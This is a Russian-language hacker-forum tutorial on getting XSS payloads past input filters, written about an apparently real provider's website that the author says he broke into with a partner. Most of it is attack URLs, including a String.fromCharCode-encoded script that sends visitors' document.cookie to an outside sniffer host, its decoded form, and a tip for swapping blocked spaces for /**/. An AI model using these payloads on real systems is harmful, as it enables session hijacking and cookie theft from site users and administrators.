[ Обход фильтрации при XSS ] [ INTRO ] Доброго времени суток! Сегодня я хочу рассказать о методах обхода фильтра в уязвимости типа XSS. На днях мне попался один сайт (не буду упоминать его имя в определенных целях) с уязвимостью: Код: http://www.site.kz/rus/home/admin.php?counter1=КОД_СКРИПТА Как ты видишь, здесь я нашел уязвимый скрипт, в котором возможен межсайтовый скриптинг. Оговорюсь, что сайт принадлежит провайдеру и как мы его ломали с f0rd'ом (при удачном исходе) я расскажу позже. Итак, я попробовал составить следующий запрос: Код: http://www.site.kz/rus/home/admin.php?counter1=<script>alert()</script> Он успешно выполнился, но при следующих запросах меня посылали нафиг: Код: http://www.site.kz/rus/home/admin.php?counter1=<script>location.href="http://site/snif.php"%2Bdocument.cookie</script> Код: http://www.site.kz/rus/home/admin.php?counter1=<script>alert('XSS')</script> Но следующий запрос выполнился: Код: http://www.site.kz/rus/home/admin.php?counter1=<script>alert(222)</script> Как видим из кода, происходит фильтрация входящих параметров на символы кроме цифр. Что делать в этой ситуации, спросишь ты? Если ты читал статьи по обходу подводных камней в SQL инъекциях, то в твоей голове возможно мелькнула идея перевода строки в ASCII представление. Это так, и делается следующим путем: Код: http://www.site.kz/rus/home/admin.php?counter1=<script>alert(String.fromCharCode())</script> Внутри функции String.fromCharCode() указываем коды символов через запятую, например: Код: http://www.site.kz/rus/home/admin.php?counter1=<script>alert(String.fromCharCode(72,101,108,107,101,114,110))</script> выведет в окошечке браузера слово "Helkern". Также благодаря этому способу я обошел фильтрацию входящих символов на сайте провайдера, составив следующий ядовитый запрос: Код: http://www.site.kz/rus/home/admin.php?counter1=<script>location.href=String.fromCharCode(104,116,116,112,58,47,47,99,99,108,46,119,104,105,116,101,97,99,105,100,46,111,114,103,47,108,111,103,46,112,104,112,63,49,53,57,52,53,48,34,37,50,66,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)</script> Если перевести его в обычный запрос то это будет пресловутый переход на сниффер: Код: http://www.site.kz/rus/home/admin.php?counter1=<script>location.href="http://ccl.whiteacid.org/log.php?159450"%2Bdocument.cookie</script> Таким образом вся фильтрация программистов сводится на нет. Еще один финт - это замена фильтруемого пробела последовательностью /**/. [ OUTRO ] Если есть проблема с переводом символов в кодовое представление, то обращайтесь в ПМ или аську - помогу. (c) Helkern http://Xaker.Name